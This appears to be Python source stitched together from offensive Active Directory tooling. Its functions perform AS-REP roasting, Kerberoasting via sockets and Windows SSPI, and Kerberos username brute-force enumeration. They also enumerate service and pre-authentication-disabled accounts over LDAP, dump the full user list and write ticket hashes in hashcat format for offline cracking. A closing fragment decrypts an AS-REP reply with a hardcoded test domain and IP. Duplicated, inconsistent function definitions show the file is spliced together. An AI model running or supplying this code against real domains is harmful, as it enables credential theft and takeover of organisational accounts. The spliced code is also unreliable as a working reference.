async def asreproast(host, targets, out_file=None, etype=23):
"""
targets List<KerberosSPN>
"""
try:
logger.debug('[KERBEROS][ASREPROAST] Roasting...')
logger.debug(
'[KERBEROS][ASREPROAST] Supporting the following encryption type: %s'
% (str(etype)))
ks = KerberosTarget(host)
ar = APREPRoast(ks)
hashes = []
for target in targets:
h = await ar.run(target, override_etype=[etype])
hashes.append(h)
if out_file:
with open(out_file, 'a', newline='') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
print(h)
logger.info('[KERBEROS][ASREPROAST] Done!')
return hashes, None
except Exception as e:
return None, e
async def asreproast(self):
try:
target = None
if self.kerb_url == 'auto':
from winacl.functions.highlevel import get_logon_info
logon = get_logon_info()
if logon['logonserver'] == '':
logger.debug(
'Failed to detect logonserver! asreproast will not work automagically!'
)
return True, None
target = KerberosTarget()
target.ip = '%s.%s' % (logon['logonserver'],
logon['dnsdomainname'])
else:
target = self.kerb_mgr.get_target()
for uid in self.targets_asreq:
ar = APREPRoast(target)
res = await ar.run(self.targets_asreq[uid],
override_etype=[23])
t = KerberoastTable.from_hash(self.ad_id, uid, res)
self.db_session.add(t)
self.total_targets_finished += 1
if self.progress_queue is not None:
msg = GathererProgress()
msg.type = GathererProgressType.KERBEROAST
msg.msg_type = MSGTYPE.PROGRESS
msg.adid = self.ad_id
msg.domain_name = self.domain_name
msg.total = self.total_targets
msg.total_finished = self.total_targets_finished
msg.step_size = 1
await self.progress_queue.put(msg)
self.db_session.commit()
return True, None
except Exception as e:
return None, e
async def live_roast(outfile=None):
try:
logon = get_logon_info()
domain = logon['domain']
url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
msldap_url = MSLDAPURLDecoder(url)
client = msldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
spn_users = []
asrep_users = []
errors = []
results = []
final_results = []
spn_cnt = 0
asrep_cnt = 0
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
asrep_users.append(cred)
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
spn_users.append(cred)
for cred in asrep_users:
results = []
ks = KerberosTarget(domain)
ar = APREPRoast(ks)
res = await ar.run(cred, override_etype=[23])
results.append(res)
if outfile is not None:
filename = outfile + 'asreproast_%s_%s.txt' % (
logon['domain'],
datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
with open(filename, 'w', newline='') as f:
for thash in results:
asrep_cnt += 1
f.write(thash + '\r\n')
else:
final_results += results
results = []
for cred in spn_users:
spn_name = '%s@%s' % (cred.username, cred.domain)
if spn_name[:6] == 'krbtgt':
continue
try:
ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name,
SECPKG_CRED.OUTBOUND)
res, ctx, data, outputflags, expiry = InitializeSecurityContext(
ctx,
spn_name,
token=None,
ctx=ctx,
flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION)
if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
ticket = InitialContextToken.load(
data[0][1]).native['innerContextToken']
else:
raise Exception('Error %s' % res.value)
except Exception as e:
print(e)
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
if outfile is not None:
filename = outfile + 'spnroast_%s_%s.txt' % (
logon['domain'],
datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
with open(filename, 'w', newline='') as f:
for thash in results:
spn_cnt += 1
f.write(thash + '\r\n')
else:
final_results += results
return final_results, errors, None
except Exception as e:
return None, None, e
async def amain(args):
if args.command == 'tgs':
logging.debug('[TGS] started')
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
spn = KerberosSPN.from_user_email(args.spn)
logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
logging.debug('[TGS] fetching TGT')
kcomm = AIOKerberosClient(cred, target)
await kcomm.get_TGT()
logging.debug('[TGS] fetching TGS')
await kcomm.get_TGS(spn)
kcomm.ccache.to_file(args.out_file)
logging.debug('[TGS] done!')
elif args.command == 'tgt':
logging.debug('[TGT] started')
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
logging.debug('[TGT] cred: %s' % cred)
logging.debug('[TGT] target: %s' % target)
kcomm = AIOKerberosClient(cred, target)
logging.debug('[TGT] fetching TGT')
await kcomm.get_TGT()
kcomm.ccache.to_file(args.out_file)
logging.debug('[TGT] Done! TGT stored in CCACHE file')
elif args.command == 'asreproast':
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
creds = []
targets = get_targets_from_file(args, False)
targets += get_target_from_args(args, False)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
logging.debug(
'[ASREPRoast] will suppoort the following encryption type: %s' %
(str(args.etype)))
ks = KerberosTarget(args.address)
ar = APREPRoast(ks)
hashes = []
for target in targets:
h = await ar.run(target, override_etype=[args.etype])
hashes.append(h)
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
for thash in hashes:
print(thash)
logging.info('ASREPRoast complete')
elif args.command == 'spnroast':
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
targets = get_targets_from_file(args)
targets += get_target_from_args(args)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
logging.debug('Kerberoast loaded %d targets' % len(targets))
if args.etype:
if args.etype == -1:
etypes = [23, 17, 18]
else:
etypes = [args.etype]
else:
etypes = [23, 17, 18]
logging.debug(
'Kerberoast will suppoort the following encryption type(s): %s' %
(','.join(str(x) for x in etypes)))
ku = KerberosClientURL.from_url(args.kerberos_connection_url)
cred = ku.get_creds()
target = ku.get_target()
ar = Kerberoast(target, cred)
hashes = await ar.run(targets, override_etype=etypes)
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in hashes:
f.write(thash + '\r\n')
else:
for thash in hashes:
print(thash)
logging.info('Kerberoast complete')
elif args.command == 'brute':
target = KerberosTarget(args.address)
with open(args.targets, 'r') as f:
for line in f:
line = line.strip()
spn = KerberosSPN()
spn.username = line
spn.domain = args.realm
ke = KerberosUserEnum(target, spn)
result = await ke.run()
if result is True:
if args.out_file:
with open(args.out_file, 'a') as f:
f.write(result + '\r\n')
else:
print('[+] Enumerated user: %s' % str(spn))
logging.info('Kerberos user enumeration complete')
elif args.command == 'spnroast-sspi':
if platform.system() != 'Windows':
print('[-]This command only works on Windows!')
return
try:
from winsspi.sspi import KerberoastSSPI
except ImportError:
raise Exception('winsspi module not installed!')
if not args.targets and not args.user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
targets = get_targets_from_file(args)
targets += get_target_from_args(args)
if len(targets) == 0:
raise Exception(
'No targets were specified! Either use target file or specify target via cmdline'
)
results = []
errors = []
for spn_name in targets:
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(
spn_name.get_formatted_pname())
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
for err in errors:
print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
logging.info('SSPI based Kerberoast complete')
elif args.command == 'spnroast-multiplexor':
#hiding the import so it's not necessary to install multiplexor
await spnmultiplexor(args)
elif args.command == 'auto':
if platform.system() != 'Windows':
print('[-]This command only works on Windows!')
return
try:
from winsspi.sspi import KerberoastSSPI
except ImportError:
raise Exception('winsspi module not installed!')
domain = args.dc_ip
url = 'ldap+sspi-ntlm://%s' % domain
msldap_url = MSLDAPURLDecoder(url)
client = msldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
spn_users = []
asrep_users = []
results = []
errors = []
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
asrep_users.append(cred)
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
spn_users.append(cred)
for cred in asrep_users:
ks = KerberosTarget(domain)
ar = APREPRoast(ks)
res = await ar.run(cred, override_etype=[args.etype])
results.append(res)
for cred in spn_users:
spn_name = '%s@%s' % (cred.username, cred.domain)
if spn_name[:6] == 'krbtgt':
continue
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(spn_name)
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
for err in errors:
print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
elif args.command == 'ldap':
ldap_url = MSLDAPURLDecoder(args.ldap_url)
client = ldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
if args.out_file:
basefolder = ntpath.dirname(args.out_file)
basefile = ntpath.basename(args.out_file)
if args.type in ['spn', 'all']:
logging.debug('Enumerating SPN user accounts...')
cnt = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_spn_users.txt'),
'w',
newline='') as f:
async for user in client.get_all_service_users():
cnt += 1
f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
else:
print('[+] SPN users')
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cnt += 1
print('%s@%s' % (user.sAMAccountName, domain))
logging.debug('Enumerated %d SPN user accounts' % cnt)
if args.type in ['asrep', 'all']:
logging.debug('Enumerating ASREP user accounts...')
ctr = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_asrep_users.txt'),
'w',
newline='') as f:
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
ctr += 1
f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
else:
print('[+] ASREP users')
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
ctr += 1
print('%s@%s' % (user.sAMAccountName, domain))
logging.debug('Enumerated %d ASREP user accounts' % ctr)
if args.type in ['full', 'all']:
logging.debug(
'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
)
ctr = 0
attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_ldap_users.tsv'),
'w',
newline='',
encoding='utf8') as f:
writer = csv.writer(f, delimiter='\t')
writer.writerow(attrs)
async for user, err in client.get_all_users():
if err is not None:
raise err
ctr += 1
writer.writerow(user.get_row(attrs))
else:
logging.debug('Are you sure about this?')
print('[+] Full user dump')
print('\t'.join(attrs))
async for user, err in client.get_all_users():
if err is not None:
raise err
ctr += 1
print('\t'.join([str(x) for x in user.get_row(attrs)]))
logging.debug('Enumerated %d user accounts' % ctr)
if args.type in ['custom']:
if not args.filter:
raise Exception(
'Custom LDAP search requires the search filter to be specified!'
)
if not args.attrs:
raise Exception(
'Custom LDAP search requires the attributes to be specified!'
)
logging.debug(
'Perforing search on the AD with the following filter: %s' %
args.filter)
logging.debug('Search will contain the following attributes: %s' %
','.join(args.attrs))
ctr = 0
if args.out_file:
with open(os.path.join(basefolder,
basefile + '_ldap_custom.tsv'),
'w',
newline='') as f:
writer = csv.writer(f, delimiter='\t')
writer.writerow(args.attrs)
async for obj, err in client.pagedsearch(
args.filter, args.attrs):
if err is not None:
raise err
ctr += 1
writer.writerow([
str(obj['attributes'].get(x, 'N/A'))
for x in args.attrs
])
else:
async for obj, err in client.pagedsearch(
args.filter, args.attrs):
if err is not None:
raise err
ctr += 1
print('\t'.join([
str(obj['attributes'].get(x, 'N/A'))
for x in args.attrs
]))
async def run_auto():
try:
if platform.system() != 'Windows':
print('[-]This command only works on Windows!')
return
try:
from winsspi.sspi import KerberoastSSPI
except ImportError:
raise Exception('winsspi module not installed!')
from winacl.functions.highlevel import get_logon_info
logon = get_logon_info()
domain = logon['domain']
url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
msldap_url = MSLDAPURLDecoder(url)
client = msldap_url.get_client()
_, err = await client.connect()
if err is not None:
raise err
domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace(
',', '.')
spn_users = []
asrep_users = []
errors = []
spn_cnt = 0
asrep_cnt = 0
async for user, err in client.get_all_knoreq_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
asrep_users.append(cred)
async for user, err in client.get_all_service_users():
if err is not None:
raise err
cred = KerberosCredential()
cred.username = user.sAMAccountName
cred.domain = domain
spn_users.append(cred)
for cred in asrep_users:
results = []
ks = KerberosTarget(domain)
ar = APREPRoast(ks)
res = await ar.run(cred, override_etype=[23])
results.append(res)
filename = 'asreproast_%s_%s.txt' % (
logon['domain'],
datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
with open(filename, 'w', newline='') as f:
for thash in results:
asrep_cnt += 1
f.write(thash + '\r\n')
results = []
for cred in spn_users:
spn_name = '%s@%s' % (cred.username, cred.domain)
if spn_name[:6] == 'krbtgt':
continue
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(spn_name)
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
filename = 'spnroast_%s_%s.txt' % (
logon['domain'],
datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
with open(filename, 'w', newline='') as f:
for thash in results:
spn_cnt += 1
f.write(thash + '\r\n')
for err in errors:
print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
print('[+] Done! %s spnroast tickets %s asreproast tickets' %
(spn_cnt, asrep_cnt))
except Exception as e:
print(e)
def run_live(self, args):
from winsspi.sspi import KerberoastSSPI
from minikerberos.security import TGSTicket2hashcat, APREPRoast
from minikerberos.utils import TGTTicket2hashcat
from minikerberos.communication import KerberosSocket
from minikerberos.common import KerberosTarget
from pypykatz.commons.winapi.machine import LiveMachine
if not args.target_file and not args.target_user:
raise Exception(
'No targets loaded! Either -u or -t MUST be specified!')
machine = LiveMachine()
realm = args.realm
if not args.realm:
realm = machine.get_domain()
if args.cmd in ['spnroast', 'asreproast']:
targets = []
if args.target_file:
with open(args.target_file, 'r') as f:
for line in f:
line = line.strip()
domain = None
username = None
if line.find('/') != -1:
#we take for granted that usernames do not have the char / in them!
domain, username = line.split('/')
else:
username = line
if args.realm:
domain = args.realm
else:
if domain is None:
raise Exception(
'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
)
target = KerberosTarget()
target.username = username
target.domain = domain
targets.append(target)
if args.target_user:
for user in args.target_user:
domain = None
username = None
if user.find('/') != -1:
#we take for granted that usernames do not have the char / in them!
domain, username = user.split('/')
else:
username = user
if args.realm:
domain = args.realm
else:
if domain is None:
raise Exception(
'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
)
target = KerberosTarget()
target.username = username
target.domain = domain
targets.append(target)
results = []
errors = []
if args.cmd == 'spnroast':
for spn_name in targets:
ksspi = KerberoastSSPI()
try:
ticket = ksspi.get_ticket_for_spn(
spn_name.get_formatted_pname())
except Exception as e:
errors.append((spn_name, e))
continue
results.append(TGSTicket2hashcat(ticket))
elif args.cmd == 'asreproast':
dcip = args.dc_ip
if args.dc_ip is None:
dcip = machine.get_domain()
ks = KerberosSocket(dcip)
ar = APREPRoast(ks)
results = ar.run(targets)
if args.out_file:
with open(args.out_file, 'w') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
for err in errors:
print('Failed to get ticket for %s. Reason: %s' %
(err[0], err[1]))
logging.info('SSPI based Kerberoast complete')
from minikerberos.asn1_structs import EncASRepPart
import hashlib
ccred = KerberosCredential()
ccred.username = '******'
ccred.domain = 'TEST.corp'
ccred2 = KerberosCredential()
ccred2.username = '******'
ccred2.domain = 'TEST.corp'
creds = [ccred, ccred2]
ks = KerberosSocket('192.168.9.1')
ar = APREPRoast(ks)
res = ar.run(creds)
rep = res[0]
print(res)
x, a, enctype, checksum, data = rep.split('$')
password = '******'
cipher = _enctype_table[int(enctype)]
key = Key(int(enctype),
hashlib.new('md4', password.encode('utf-16-le')).digest())
cipherText = bytes.fromhex(checksum + data)
temp = cipher.decrypt(key, 3, cipherText)
print()
print()